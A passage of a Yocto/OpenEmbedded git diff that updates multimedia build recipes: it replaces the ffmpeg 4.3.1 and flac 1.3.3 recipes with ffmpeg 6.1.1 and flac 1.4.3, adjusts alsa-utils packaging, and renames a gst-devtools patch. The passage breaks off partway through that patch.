+SUMMARY:alsa-utils-aseqdump = "Shows the events received at an ALSA sequencer port"
+SUMMARY:alsa-utils-alsaloop = "ALSA PCM loopback utility"
+SUMMARY:alsa-utils-alsaucm = "ALSA Use Case Manager"
+SUMMARY:alsa-utils-scripts = "Shell scripts that show help info and create ALSA configuration files"
+SUMMARY:alsa-utils-nhltdmicinfo = "Dumps microphone array information from ACPI NHLT table"
+
+RRECOMMENDS:alsa-utils-alsactl = "alsa-states"
+
+do_install() {
+ autotools_do_install
+
+ install -d ${D}${sbindir}
+ install -m 0755 ${B}/alsaconf/alsaconf ${D}${sbindir}/
+ install -m 0755 ${S}/alsa-info/alsa-info.sh ${D}${sbindir}/
+ if ${@bb.utils.contains('PACKAGECONFIG', 'bat', 'true', 'false', d)}; then
+ install -m 0755 ${S}/bat/alsabat-test.sh ${D}${sbindir}/
+ fi
+
+ # If udev is disabled, we told configure to install the rules
+ # in /unwanted, so we can remove them now. If udev is enabled,
+ # then /unwanted won't exist and this will have no effect.
+ rm -rf ${D}/unwanted
+}
+
+
+PROVIDES = "alsa-utils-alsaconf alsa-utils-scripts"
+
+RDEPENDS:${PN}-scripts += "bash"
diff --git a/meta/recipes-multimedia/alsa/alsa-utils_1.2.3.bb b/meta/recipes-multimedia/alsa/alsa-utils_1.2.3.bb
deleted file mode 100644
index 3430288da4..0000000000
--- a/meta/recipes-multimedia/alsa/alsa-utils_1.2.3.bb
+++ /dev/null
@@ -1,2 +0,0 @@
-require alsa-utils.inc
-
diff --git a/meta/recipes-multimedia/ffmpeg/ffmpeg/mips64_cpu_detection.patch b/meta/recipes-multimedia/ffmpeg/ffmpeg/mips64_cpu_detection.patch
deleted file mode 100644
index 69429af8f0..0000000000
--- a/meta/recipes-multimedia/ffmpeg/ffmpeg/mips64_cpu_detection.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-It will add -mips64r6 and -mips64r2 to cmdline which will
-cause conflicts
-
-in OE we user mips32r2 and mips64r2 for mips arch versions
-so there is no benefit of detecting it automatically by
-poking at tools especially in cross env
-
-Fixes errors like
-
-linking -mnan=2008 module with previous -mnan=legacy modules
-failed to merge target specific data of file
-
--Khem
-Upstream-Status: Inappropriate [OE-Specific]
-
-Index: ffmpeg-3.1.1/configure
-===================================================================
---- ffmpeg-3.1.1.orig/configure
-+++ ffmpeg-3.1.1/configure
-@@ -5220,12 +5220,9 @@ elif enabled mips; then
-
- # Enable minimum ISA based on selected options
- if enabled mips64; then
-- enabled mips64r6 && check_inline_asm_flags mips64r6 '"dlsa $0, $0, $0, 1"' '-mips64r6'
- enabled mips64r2 && check_inline_asm_flags mips64r2 '"dext $0, $0, 0, 1"' '-mips64r2'
- disabled mips64r6 && disabled mips64r2 && check_inline_asm_flags mips64r1 '"daddi $0, $0, 0"' '-mips64'
- else
-- enabled mips32r6 && check_inline_asm_flags mips32r6 '"aui $0, $0, 0"' '-mips32r6'
-- enabled mips32r5 && check_inline_asm_flags mips32r5 '"eretnc"' '-mips32r5'
- enabled mips32r2 && check_inline_asm_flags mips32r2 '"ext $0, $0, 0, 1"' '-mips32r2'
- disabled mips32r6 && disabled mips32r5 && disabled mips32r2 && check_inline_asm_flags mips32r1 '"addi $0, $0, 0"' '-mips32'
- fi
diff --git a/meta/recipes-multimedia/ffmpeg/ffmpeg_4.3.1.bb b/meta/recipes-multimedia/ffmpeg/ffmpeg_4.3.1.bb
deleted file mode 100644
index 517dac7f05..0000000000
--- a/meta/recipes-multimedia/ffmpeg/ffmpeg_4.3.1.bb
+++ /dev/null
@@ -1,160 +0,0 @@
-SUMMARY = "A complete, cross-platform solution to record, convert and stream audio and video."
-DESCRIPTION = "FFmpeg is the leading multimedia framework, able to decode, encode, transcode, \
- mux, demux, stream, filter and play pretty much anything that humans and machines \
- have created. It supports the most obscure ancient formats up to the cutting edge."
-HOMEPAGE = "https://www.ffmpeg.org/"
-SECTION = "libs"
-
-LICENSE = "BSD & GPLv2+ & LGPLv2.1+ & MIT"
-LICENSE_${PN} = "GPLv2+"
-LICENSE_libavcodec = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
-LICENSE_libavdevice = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
-LICENSE_libavfilter = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
-LICENSE_libavformat = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
-LICENSE_libavresample = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
-LICENSE_libavutil = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
-LICENSE_libpostproc = "GPLv2+"
-LICENSE_libswresample = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
-LICENSE_libswscale = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPLv2+', 'LGPLv2.1+', d)}"
-LICENSE_FLAGS = "commercial"
-
-LIC_FILES_CHKSUM = "file://COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://COPYING.GPLv3;md5=d32239bcb673463ab874e80d47fae504 \
- file://COPYING.LGPLv2.1;md5=bd7a443320af8c812e4c18d1b79df004 \
- file://COPYING.LGPLv3;md5=e6a600fd5e1d9cbde2d983680233ad02"
-
-SRC_URI = "https://www.ffmpeg.org/releases/${BP}.tar.xz \
- file://mips64_cpu_detection.patch \
- "
-SRC_URI[sha256sum] = "ad009240d46e307b4e03a213a0f49c11b650e445b1f8be0dda2a9212b34d2ffb"
-
-# Build fails when thumb is enabled: https://bugzilla.yoctoproject.org/show_bug.cgi?id=7717
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv6 = "arm"
-
-# Should be API compatible with libav (which was a fork of ffmpeg)
-# libpostproc was previously packaged from a separate recipe
-PROVIDES = "libav libpostproc"
-
-DEPENDS = "nasm-native"
-
-inherit autotools pkgconfig
-
-PACKAGECONFIG ??= "avdevice avfilter avcodec avformat swresample swscale postproc avresample \
- alsa bzlib gpl lzma theora x264 zlib \
- ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'xv xcb', '', d)}"
-
-# libraries to build in addition to avutil
-PACKAGECONFIG[avdevice] = "--enable-avdevice,--disable-avdevice"
-PACKAGECONFIG[avfilter] = "--enable-avfilter,--disable-avfilter"
-PACKAGECONFIG[avcodec] = "--enable-avcodec,--disable-avcodec"
-PACKAGECONFIG[avformat] = "--enable-avformat,--disable-avformat"
-PACKAGECONFIG[swresample] = "--enable-swresample,--disable-swresample"
-PACKAGECONFIG[swscale] = "--enable-swscale,--disable-swscale"
-PACKAGECONFIG[postproc] = "--enable-postproc,--disable-postproc"
-PACKAGECONFIG[avresample] = "--enable-avresample,--disable-avresample"
-
-# features to support
-PACKAGECONFIG[alsa] = "--enable-alsa,--disable-alsa,alsa-lib"
-PACKAGECONFIG[altivec] = "--enable-altivec,--disable-altivec,"
-PACKAGECONFIG[bzlib] = "--enable-bzlib,--disable-bzlib,bzip2"
-PACKAGECONFIG[fdk-aac] = "--enable-libfdk-aac --enable-nonfree,--disable-libfdk-aac,fdk-aac"
-PACKAGECONFIG[gpl] = "--enable-gpl,--disable-gpl"
-PACKAGECONFIG[gsm] = "--enable-libgsm,--disable-libgsm,libgsm"
-PACKAGECONFIG[jack] = "--enable-indev=jack,--disable-indev=jack,jack"
-PACKAGECONFIG[libvorbis] = "--enable-libvorbis,--disable-libvorbis,libvorbis"
-PACKAGECONFIG[lzma] = "--enable-lzma,--disable-lzma,xz"
-PACKAGECONFIG[mfx] = "--enable-libmfx,--disable-libmfx,intel-mediasdk"
-PACKAGECONFIG[mp3lame] = "--enable-libmp3lame,--disable-libmp3lame,lame"
-PACKAGECONFIG[openssl] = "--enable-openssl,--disable-openssl,openssl"
-PACKAGECONFIG[sdl2] = "--enable-sdl2,--disable-sdl2,virtual/libsdl2"
-PACKAGECONFIG[speex] = "--enable-libspeex,--disable-libspeex,speex"
-PACKAGECONFIG[theora] = "--enable-libtheora,--disable-libtheora,libtheora libogg"
-PACKAGECONFIG[vaapi] = "--enable-vaapi,--disable-vaapi,libva"
-PACKAGECONFIG[vdpau] = "--enable-vdpau,--disable-vdpau,libvdpau"
-PACKAGECONFIG[vpx] = "--enable-libvpx,--disable-libvpx,libvpx"
-PACKAGECONFIG[x264] = "--enable-libx264,--disable-libx264,x264"
-PACKAGECONFIG[x265] = "--enable-libx265,--disable-libx265,x265"
-PACKAGECONFIG[xcb] = "--enable-libxcb,--disable-libxcb,libxcb"
-PACKAGECONFIG[xv] = "--enable-outdev=xv,--disable-outdev=xv,libxv"
-PACKAGECONFIG[zlib] = "--enable-zlib,--disable-zlib,zlib"
-
-# Check codecs that require --enable-nonfree
-USE_NONFREE = "${@bb.utils.contains_any('PACKAGECONFIG', [ 'openssl' ], 'yes', '', d)}"
-
-def cpu(d):
- for arg in (d.getVar('TUNE_CCARGS') or '').split():
- if arg.startswith('-mcpu='):
- return arg[6:]
- return 'generic'
-
-EXTRA_OECONF = " \
- --disable-stripping \
- --enable-pic \
- --enable-shared \
- --enable-pthreads \
- ${@bb.utils.contains('USE_NONFREE', 'yes', '--enable-nonfree', '', d)} \
- \
- --cross-prefix=${TARGET_PREFIX} \
- \
- --ld="${CCLD}" \
- --cc="${CC}" \
- --cxx="${CXX}" \
- --arch=${TARGET_ARCH} \
- --target-os="linux" \
- --enable-cross-compile \
- --extra-cflags="${CFLAGS} ${HOST_CC_ARCH}${TOOLCHAIN_OPTIONS}" \
- --extra-ldflags="${LDFLAGS}" \
- --sysroot="${STAGING_DIR_TARGET}" \
- ${EXTRA_FFCONF} \
- --libdir=${libdir} \
- --shlibdir=${libdir} \
- --datadir=${datadir}/ffmpeg \
- ${@bb.utils.contains('AVAILTUNES', 'mips32r2', '', '--disable-mipsdsp --disable-mipsdspr2', d)} \
- --cpu=${@cpu(d)} \
- --pkg-config=pkg-config \
-"
-
-EXTRA_OECONF_append_linux-gnux32 = " --disable-asm"
-# gold crashes on x86, another solution is to --disable-asm but thats more hacky
-# ld.gold: internal error in relocate_section, at ../../gold/i386.cc:3684
-
-LDFLAGS_append_x86 = "${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-gold', ' -fuse-ld=bfd ', '', d)}"
-
-EXTRA_OEMAKE = "V=1"
-
-do_configure() {
- ${S}/configure ${EXTRA_OECONF}
-}
-
-PACKAGES =+ "libavcodec \
- libavdevice \
- libavfilter \
- libavformat \
- libavresample \
- libavutil \
- libpostproc \
- libswresample \
- libswscale"
-
-FILES_libavcodec = "${libdir}/libavcodec${SOLIBS}"
-FILES_libavdevice = "${libdir}/libavdevice${SOLIBS}"
-FILES_libavfilter = "${libdir}/libavfilter${SOLIBS}"
-FILES_libavformat = "${libdir}/libavformat${SOLIBS}"
-FILES_libavresample = "${libdir}/libavresample${SOLIBS}"
-FILES_libavutil = "${libdir}/libavutil${SOLIBS}"
-FILES_libpostproc = "${libdir}/libpostproc${SOLIBS}"
-FILES_libswresample = "${libdir}/libswresample${SOLIBS}"
-FILES_libswscale = "${libdir}/libswscale${SOLIBS}"
-
-# ffmpeg disables PIC on some platforms (e.g. x86-32)
-INSANE_SKIP_${MLPREFIX}libavcodec = "textrel"
-INSANE_SKIP_${MLPREFIX}libavdevice = "textrel"
-INSANE_SKIP_${MLPREFIX}libavfilter = "textrel"
-INSANE_SKIP_${MLPREFIX}libavformat = "textrel"
-INSANE_SKIP_${MLPREFIX}libavutil = "textrel"
-INSANE_SKIP_${MLPREFIX}libavresample = "textrel"
-INSANE_SKIP_${MLPREFIX}libswscale = "textrel"
-INSANE_SKIP_${MLPREFIX}libswresample = "textrel"
-INSANE_SKIP_${MLPREFIX}libpostproc = "textrel"
diff --git a/meta/recipes-multimedia/ffmpeg/ffmpeg_6.1.1.bb b/meta/recipes-multimedia/ffmpeg/ffmpeg_6.1.1.bb
new file mode 100644
index 0000000000..aa59755034
--- /dev/null
+++ b/meta/recipes-multimedia/ffmpeg/ffmpeg_6.1.1.bb
@@ -0,0 +1,186 @@
+SUMMARY = "A complete, cross-platform solution to record, convert and stream audio and video."
+DESCRIPTION = "FFmpeg is the leading multimedia framework, able to decode, encode, transcode, \
+ mux, demux, stream, filter and play pretty much anything that humans and machines \
+ have created. It supports the most obscure ancient formats up to the cutting edge."
+HOMEPAGE = "https://www.ffmpeg.org/"
+SECTION = "libs"
+
+LICENSE = "GPL-2.0-or-later & LGPL-2.1-or-later & ISC & MIT & BSD-2-Clause & BSD-3-Clause & IJG"
+LICENSE:${PN} = "GPL-2.0-or-later"
+LICENSE:libavcodec = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPL-2.0-or-later', 'LGPL-2.1-or-later', d)}"
+LICENSE:libavdevice = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPL-2.0-or-later', 'LGPL-2.1-or-later', d)}"
+LICENSE:libavfilter = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPL-2.0-or-later', 'LGPL-2.1-or-later', d)}"
+LICENSE:libavformat = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPL-2.0-or-later', 'LGPL-2.1-or-later', d)}"
+LICENSE:libavutil = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPL-2.0-or-later', 'LGPL-2.1-or-later', d)}"
+LICENSE:libpostproc = "GPL-2.0-or-later"
+LICENSE:libswresample = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPL-2.0-or-later', 'LGPL-2.1-or-later', d)}"
+LICENSE:libswscale = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPL-2.0-or-later', 'LGPL-2.1-or-later', d)}"
+LICENSE_FLAGS = "commercial"
+
+LIC_FILES_CHKSUM = "file://COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://COPYING.GPLv3;md5=d32239bcb673463ab874e80d47fae504 \
+ file://COPYING.LGPLv2.1;md5=bd7a443320af8c812e4c18d1b79df004 \
+ file://COPYING.LGPLv3;md5=e6a600fd5e1d9cbde2d983680233ad02"
+
+SRC_URI = "https://www.ffmpeg.org/releases/${BP}.tar.xz"
+
+SRC_URI[sha256sum] = "8684f4b00f94b85461884c3719382f1261f0d9eb3d59640a1f4ac0873616f968"
+
+# https://nvd.nist.gov/vuln/detail/CVE-2023-39018
+# https://github.com/bramp/ffmpeg-cli-wrapper/issues/291
+# https://security-tracker.debian.org/tracker/CVE-2023-39018
+# https://bugzilla.suse.com/show_bug.cgi?id=CVE-2023-39018
+CVE_STATUS[CVE-2023-39018] = "cpe-incorrect: This issue belongs to ffmpeg-cli-wrapper \
+(Java wrapper around the FFmpeg CLI) and not ffmepg itself."
+
+# Build fails when thumb is enabled: https://bugzilla.yoctoproject.org/show_bug.cgi?id=7717
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv6 = "arm"
+
+# Should be API compatible with libav (which was a fork of ffmpeg)
+# libpostproc was previously packaged from a separate recipe
+PROVIDES = "libav libpostproc"
+
+DEPENDS = "nasm-native"
+
+inherit autotools pkgconfig
+
+PACKAGECONFIG ??= "avdevice avfilter avcodec avformat swresample swscale postproc \
+ alsa bzlib lzma theora zlib \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'xv xcb', '', d)}"
+
+# libraries to build in addition to avutil
+PACKAGECONFIG[avdevice] = "--enable-avdevice,--disable-avdevice"
+PACKAGECONFIG[avfilter] = "--enable-avfilter,--disable-avfilter"
+PACKAGECONFIG[avcodec] = "--enable-avcodec,--disable-avcodec"
+PACKAGECONFIG[avformat] = "--enable-avformat,--disable-avformat"
+PACKAGECONFIG[swresample] = "--enable-swresample,--disable-swresample"
+PACKAGECONFIG[swscale] = "--enable-swscale,--disable-swscale"
+PACKAGECONFIG[postproc] = "--enable-postproc,--disable-postproc"
+
+# features to support
+PACKAGECONFIG[alsa] = "--enable-alsa,--disable-alsa,alsa-lib"
+PACKAGECONFIG[altivec] = "--enable-altivec,--disable-altivec,"
+PACKAGECONFIG[bzlib] = "--enable-bzlib,--disable-bzlib,bzip2"
+PACKAGECONFIG[fdk-aac] = "--enable-libfdk-aac --enable-nonfree,--disable-libfdk-aac,fdk-aac"
+PACKAGECONFIG[gpl] = "--enable-gpl,--disable-gpl"
+PACKAGECONFIG[gsm] = "--enable-libgsm,--disable-libgsm,libgsm"
+PACKAGECONFIG[jack] = "--enable-indev=jack,--disable-indev=jack,jack"
+PACKAGECONFIG[libopus] = "--enable-libopus,--disable-libopus,libopus"
+PACKAGECONFIG[libvorbis] = "--enable-libvorbis,--disable-libvorbis,libvorbis"
+PACKAGECONFIG[lzma] = "--enable-lzma,--disable-lzma,xz"
+PACKAGECONFIG[mfx] = "--enable-libmfx,--disable-libmfx,intel-mediasdk"
+PACKAGECONFIG[mp3lame] = "--enable-libmp3lame,--disable-libmp3lame,lame"
+PACKAGECONFIG[openssl] = "--enable-openssl,--disable-openssl,openssl"
+PACKAGECONFIG[sdl2] = "--enable-sdl2,--disable-sdl2,virtual/libsdl2"
+PACKAGECONFIG[speex] = "--enable-libspeex,--disable-libspeex,speex"
+PACKAGECONFIG[srt] = "--enable-libsrt,--disable-libsrt,srt"
+PACKAGECONFIG[theora] = "--enable-libtheora,--disable-libtheora,libtheora libogg"
+PACKAGECONFIG[v4l2] = "--enable-libv4l2,--disable-libv4l2,v4l-utils"
+PACKAGECONFIG[vaapi] = "--enable-vaapi,--disable-vaapi,libva"
+PACKAGECONFIG[vdpau] = "--enable-vdpau,--disable-vdpau,libvdpau"
+PACKAGECONFIG[vpx] = "--enable-libvpx,--disable-libvpx,libvpx"
+PACKAGECONFIG[x264] = "--enable-libx264,--disable-libx264,x264"
+PACKAGECONFIG[x265] = "--enable-libx265,--disable-libx265,x265"
+PACKAGECONFIG[xcb] = "--enable-libxcb,--disable-libxcb,libxcb"
+PACKAGECONFIG[xv] = "--enable-outdev=xv,--disable-outdev=xv,libxv"
+PACKAGECONFIG[zlib] = "--enable-zlib,--disable-zlib,zlib"
+
+# Check codecs that require --enable-nonfree
+USE_NONFREE = "${@bb.utils.contains_any('PACKAGECONFIG', [ 'openssl' ], 'yes', '', d)}"
+
+def cpu(d):
+ for arg in (d.getVar('TUNE_CCARGS') or '').split():
+ if arg.startswith('-mcpu='):
+ return arg[6:]
+ return 'generic'
+
+EXTRA_OECONF = " \
+ --disable-stripping \
+ --enable-pic \
+ --enable-shared \
+ --enable-pthreads \
+ ${@bb.utils.contains('USE_NONFREE', 'yes', '--enable-nonfree', '', d)} \
+ \
+ --cross-prefix=${TARGET_PREFIX} \
+ \
+ --ld='${CCLD}' \
+ --cc='${CC}' \
+ --cxx='${CXX}' \
+ --arch=${TARGET_ARCH} \
+ --target-os='linux' \
+ --enable-cross-compile \
+ --extra-cflags='${CFLAGS} ${HOST_CC_ARCH}${TOOLCHAIN_OPTIONS}' \
+ --extra-ldflags='${LDFLAGS}' \
+ --sysroot='${STAGING_DIR_TARGET}' \
+ ${EXTRA_FFCONF} \
+ --libdir=${libdir} \
+ --shlibdir=${libdir} \
+ --datadir=${datadir}/ffmpeg \
+ ${@bb.utils.contains('AVAILTUNES', 'mips32r2', '', '--disable-mipsdsp --disable-mipsdspr2', d)} \
+ --cpu=${@cpu(d)} \
+ --pkg-config=pkg-config \
+"
+
+EXTRA_OECONF:append:linux-gnux32 = " --disable-asm"
+
+EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'mipsisa64r6', '--disable-mips64r2 --disable-mips32r2', '', d)}"
+EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'mipsisa64r2', '--disable-mips64r6 --disable-mips32r6', '', d)}"
+EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'mips32r2', '--disable-mips64r6 --disable-mips32r6', '', d)}"
+EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'mips32r6', '--disable-mips64r2 --disable-mips32r2', '', d)}"
+EXTRA_OECONF:append:mips = " --extra-libs=-latomic --disable-mips32r5 --disable-mipsdsp --disable-mipsdspr2 \
+ --disable-loongson2 --disable-loongson3 --disable-mmi --disable-msa"
+EXTRA_OECONF:append:riscv32 = " --extra-libs=-latomic --disable-rvv --disable-asm"
+EXTRA_OECONF:append:armv5 = " --extra-libs=-latomic"
+EXTRA_OECONF:append:powerpc = " --extra-libs=-latomic"
+EXTRA_OECONF:append:armv7a = "${@bb.utils.contains('TUNE_FEATURES','neon','',' --disable-neon',d)}"
+EXTRA_OECONF:append:armv7ve = "${@bb.utils.contains('TUNE_FEATURES','neon','',' --disable-neon',d)}"
+
+# gold crashes on x86, another solution is to --disable-asm but thats more hacky
+# ld.gold: internal error in relocate_section, at ../../gold/i386.cc:3684
+
+LDFLAGS:append:x86 = "${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-gold', ' -fuse-ld=bfd ', '', d)}"
+LDFLAGS:append:x86 = "${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-lld', ' -fuse-ld=bfd ', '', d)}"
+
+EXTRA_OEMAKE = "V=1"
+
+do_configure() {
+ export TMPDIR="${B}/tmp"
+ mkdir -p ${B}/tmp
+ ${S}/configure ${EXTRA_OECONF}
+ sed -i -e "s,^X86ASMFLAGS=.*,& --debug-prefix-map=${S}=${TARGET_DBGSRC_DIR} --debug-prefix-map=${B}=${TARGET_DBGSRC_DIR},g" ${B}/ffbuild/config.mak
+}
+
+# patch out build host paths for reproducibility
+do_compile:prepend:class-target() {
+ sed -i -e "s,${WORKDIR},,g" ${B}/config.h
+}
+
+PACKAGES =+ "libavcodec \
+ libavdevice \
+ libavfilter \
+ libavformat \
+ libavutil \
+ libpostproc \
+ libswresample \
+ libswscale"
+
+FILES:libavcodec = "${libdir}/libavcodec${SOLIBS}"
+FILES:libavdevice = "${libdir}/libavdevice${SOLIBS}"
+FILES:libavfilter = "${libdir}/libavfilter${SOLIBS}"
+FILES:libavformat = "${libdir}/libavformat${SOLIBS}"
+FILES:libavutil = "${libdir}/libavutil${SOLIBS}"
+FILES:libpostproc = "${libdir}/libpostproc${SOLIBS}"
+FILES:libswresample = "${libdir}/libswresample${SOLIBS}"
+FILES:libswscale = "${libdir}/libswscale${SOLIBS}"
+
+# ffmpeg disables PIC on some platforms (e.g. x86-32)
+INSANE_SKIP:${MLPREFIX}libavcodec = "textrel"
+INSANE_SKIP:${MLPREFIX}libavdevice = "textrel"
+INSANE_SKIP:${MLPREFIX}libavfilter = "textrel"
+INSANE_SKIP:${MLPREFIX}libavformat = "textrel"
+INSANE_SKIP:${MLPREFIX}libavutil = "textrel"
+INSANE_SKIP:${MLPREFIX}libswscale = "textrel"
+INSANE_SKIP:${MLPREFIX}libswresample = "textrel"
+INSANE_SKIP:${MLPREFIX}libpostproc = "textrel"
diff --git a/meta/recipes-multimedia/flac/flac_1.3.3.bb b/meta/recipes-multimedia/flac/flac_1.3.3.bb
deleted file mode 100644
index cb6692aedf..0000000000
--- a/meta/recipes-multimedia/flac/flac_1.3.3.bb
+++ /dev/null
@@ -1,46 +0,0 @@
-SUMMARY = "Free Lossless Audio Codec"
-DESCRIPTION = "FLAC stands for Free Lossless Audio Codec, a lossless audio compression format."
-HOMEPAGE = "https://xiph.org/flac/"
-BUGTRACKER = "http://sourceforge.net/p/flac/bugs/"
-SECTION = "libs"
-LICENSE = "GFDL-1.2 & GPLv2+ & LGPLv2.1+ & BSD"
-LIC_FILES_CHKSUM = "file://COPYING.FDL;md5=ad1419ecc56e060eccf8184a87c4285f \
- file://src/Makefile.am;beginline=1;endline=17;md5=09501c864f89dfc7ead65553129817ca \
- file://COPYING.GPL;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://src/flac/main.c;beginline=1;endline=18;md5=09777e2934947a36f13568d0beb81199 \
- file://COPYING.LGPL;md5=fbc093901857fcd118f065f900982c24 \
- file://src/plugin_common/all.h;beginline=1;endline=18;md5=f56cb4ba9a3bc9ec6102e8df03215271 \
- file://COPYING.Xiph;md5=b59c1b6d7fc0fb7965f821a3d36505e3 \
- file://include/FLAC/all.h;beginline=65;endline=70;md5=64474f2b22e9e77b28d8b8b25c983a48"
-DEPENDS = "libogg"
-
-SRC_URI = "http://downloads.xiph.org/releases/flac/${BP}.tar.xz \
-"
-
-SRC_URI[md5sum] = "26703ed2858c1fc9ffc05136d13daa69"
-SRC_URI[sha256sum] = "213e82bd716c9de6db2f98bcadbc4c24c7e2efe8c75939a1a84e28539c4e1748"
-
-CVE_PRODUCT = "libflac flac"
-
-inherit autotools gettext
-
-EXTRA_OECONF = "--disable-oggtest \
- --with-ogg-libraries=${STAGING_LIBDIR} \
- --with-ogg-includes=${STAGING_INCDIR} \
- --disable-xmms-plugin \
- --without-libiconv-prefix \
- ac_cv_prog_NASM="" \
- "
-
-EXTRA_OECONF += "${@bb.utils.contains("TUNE_FEATURES", "altivec", " --enable-altivec", " --disable-altivec", d)}"
-EXTRA_OECONF += "${@bb.utils.contains("TUNE_FEATURES", "vsx", " --enable-vsx", " --disable-vsx", d)}"
-EXTRA_OECONF += "${@bb.utils.contains("TUNE_FEATURES", "core2", " --enable-sse", "", d)}"
-EXTRA_OECONF += "${@bb.utils.contains("TUNE_FEATURES", "corei7", " --enable-sse", "", d)}"
-
-PACKAGES += "libflac libflac++ liboggflac liboggflac++"
-FILES_${PN} = "${bindir}/*"
-FILES_libflac = "${libdir}/libFLAC.so.*"
-FILES_libflac++ = "${libdir}/libFLAC++.so.*"
-FILES_liboggflac = "${libdir}/libOggFLAC.so.*"
-FILES_liboggflac++ = "${libdir}/libOggFLAC++.so.*"
-
diff --git a/meta/recipes-multimedia/flac/flac_1.4.3.bb b/meta/recipes-multimedia/flac/flac_1.4.3.bb
new file mode 100644
index 0000000000..d4e463cda5
--- /dev/null
+++ b/meta/recipes-multimedia/flac/flac_1.4.3.bb
@@ -0,0 +1,36 @@
+SUMMARY = "Free Lossless Audio Codec"
+DESCRIPTION = "FLAC stands for Free Lossless Audio Codec, a lossless audio compression format."
+HOMEPAGE = "https://xiph.org/flac/"
+BUGTRACKER = "https://github.com/xiph/flac/issues"
+SECTION = "libs"
+LICENSE = "GFDL-1.2 & GPL-2.0-or-later & LGPL-2.1-or-later & BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING.FDL;md5=ad1419ecc56e060eccf8184a87c4285f \
+ file://src/Makefile.am;beginline=1;endline=17;md5=b1dab2704be7f01bfbd9b7f6d5f000a9 \
+ file://COPYING.GPL;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://src/flac/main.c;beginline=1;endline=18;md5=23099119c034d894bd1bf7ef5bd22101 \
+ file://COPYING.LGPL;md5=fbc093901857fcd118f065f900982c24 \
+ file://COPYING.Xiph;md5=0c90e41ab2fa7e69ca9391330d870221 \
+ file://include/FLAC/all.h;beginline=65;endline=70;md5=39aaf5e03c7364363884c8b8ddda8eea"
+
+SRC_URI = "http://downloads.xiph.org/releases/flac/${BP}.tar.xz"
+SRC_URI[sha256sum] = "6c58e69cd22348f441b861092b825e591d0b822e106de6eb0ee4d05d27205b70"
+
+CVE_PRODUCT = "libflac flac"
+
+inherit autotools gettext
+
+EXTRA_OECONF = "--disable-oggtest \
+ --without-libiconv-prefix \
+ ac_cv_prog_NASM="" \
+ "
+
+PACKAGECONFIG ??= " \
+ ogg \
+"
+PACKAGECONFIG[avx] = "--enable-avx,--disable-avx"
+PACKAGECONFIG[ogg] = "--enable-ogg --with-ogg-libraries=${STAGING_LIBDIR} --with-ogg-includes=${STAGING_INCDIR},--disable-ogg,libogg"
+
+PACKAGES += "libflac libflac++"
+FILES:${PN} = "${bindir}/*"
+FILES:libflac = "${libdir}/libFLAC.so.*"
+FILES:libflac++ = "${libdir}/libFLAC++.so.*"
diff --git a/meta/recipes-multimedia/gstreamer/gst-validate/0001-connect-has-a-different-signature-on-musl.patch b/meta/recipes-multimedia/gstreamer/gst-devtools/0001-connect-has-a-different-signature-on-musl.patch
index a0d215c5a0..21e30d6d46 100644
--- a/meta/recipes-multimedia/gstreamer/gst-validate/0001-connect-has-a-different-signature-on-musl.patch
+++ b/meta/recipes-multimedia/gstreamer/gst-devtools/0001-connect-has-a-different-signature-on-musl.patch
@@ -1,4 +1,4 @@
-From 0bd8004d8dddc486d3961a5316d24e8f2645e4c8 Mon Sep 17 00:00:00 2001
+From 0c73b8131efba63c5cd37ea8c7551434c3b57304 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Sun, 9 Sep 2018 17:38:10 -0700
Subject: [PATCH] connect has a different signature on musl
@@ -11,14 +11,15 @@ typcasted to struct sockaddr_in* type inside the function before use
Upstream-Status: Pending
Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
---
- plugins/fault_injection/socket_interposer.c | 7 ++++++-
+ validate/plugins/fault_injection/socket_interposer.c | 7 ++++++-
1 file changed, 6 insertions(+), 1 deletion(-)
-diff --git a/plugins/fault_injection/socket_interposer.c b/plugins/fault_injection/socket_interposer.c
+diff --git a/validate/plugins/fault_injection/socket_interposer.c b/validate/plugins/fault_injection/socket_interposer.c
index 53c1ebb..ad7adf8 100644
---- a/plugins/fault_injection/socket_interposer.c
-+++ b/plugins/fault_injection/socket_interposer.c
+--- a/validate/plugins/fault_injection/socket_interposer.c
